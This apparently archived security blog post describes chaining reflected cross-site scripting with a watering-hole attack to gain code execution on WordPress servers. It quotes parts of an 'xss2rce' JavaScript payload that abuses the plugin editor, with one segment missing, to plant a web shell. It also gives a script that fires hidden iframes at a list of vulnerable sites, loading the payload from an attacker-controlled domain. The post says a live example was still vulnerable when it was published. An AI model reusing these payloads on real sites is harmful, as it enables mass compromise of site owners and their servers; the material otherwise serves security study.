Reflected in Watering Hole

Datetime:2016-08-22 21:55:03          Topic: XSS Vulnerability           Share

Cross-site scripting becomes much more dangerous when used with another attack strategy. One of them is called Watering Hole and it’s better explained with the infographic below by Symantec:

Content Management Systems (CMS), very popular in the web, are perfect targets to XSS exploitations due to its standardization. The same code is running in a lot of sites like we can see in W3Techs and BuiltWith statistics. This can easily lead to mass compromise.

In XSS to RCE – using WordPress as an example by Riyaz Walikar we can see in details how to use use an XSS vulnerability to get a web shell in current WordPress. His post is based in the following set of tweets, which in turn are a minification of James Hooker ‘s work XSS and WordPress – The Aftermath .

// wp_xss2rce.js 1/3

x=new XMLHttpRequest()

p='/wp-admin/plugin-editor.php?'

f='file=akismet/index.php'

x.open('GET',p+f,0)

x.send()

— Brute (@brutelogic) July 9, 2016

// wp_xss2rce.js 3/3

x.open('POST',p+f,1)

x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')

x.send($)

— Brute (@brutelogic) July 9, 2016

If an WordPress administrator is logged and get XSSed, attacker is able to run commands in the underlying server. This becomes pretty easy if a vulnerability is a stored one. But with a reflected XSS attack, usually people think they need to click on a link, by means of phishing or a social network sharing.

In fact, an admin (or everyone else) doesn’t need to click on a link if there’s a reflected XSS vulnerability in the domain where WP is installed (inside or outside the installation). If an attacker is able to infect a site where he/she visits (watering hole), it’s possible to make he/she executes the XSS payload in the context of the affected domain.

An attacker can build a list of sites vulnerable to the latest reflected XSS disclosed and use the following script to load each one into invisible iframes in an attempt to hit a victim with it:

targets=[

‘a.com’,

‘b.com’,

‘c.com’

]

for(i=0; i<targets.length; i++){

f=document.createElement(‘iframe’);

f.setAttribute(‘style’,’display:none’);

f.src=’//’+targets[i]+’/PATH/PAGE?PARAM=<script src=//DOMAIN/xss2rce.js>’;

document.body.appendChild(f);

}

This simply creates a list of targets (a.com, b.com, etc) and creates a hidden iframe (style=display:none) element with source being the relative path to vulnerable page with the respective payload loading the script for the CMS assault (xss2rce.js).

He/she then finds a vulnerability on a site commonly accessed by targeted admins, like a CMS forum or a website of a theme/plugin maker and infects it with a stored XSS or via SQL injection (or any takeover technique). The longer the target list is, the greater the chances of making an incautious admin create a web shell for the attacker.

Here is a live example of the idea exposed above:

It was still vulnerable to the time of this publishing.

#hack2learn





About List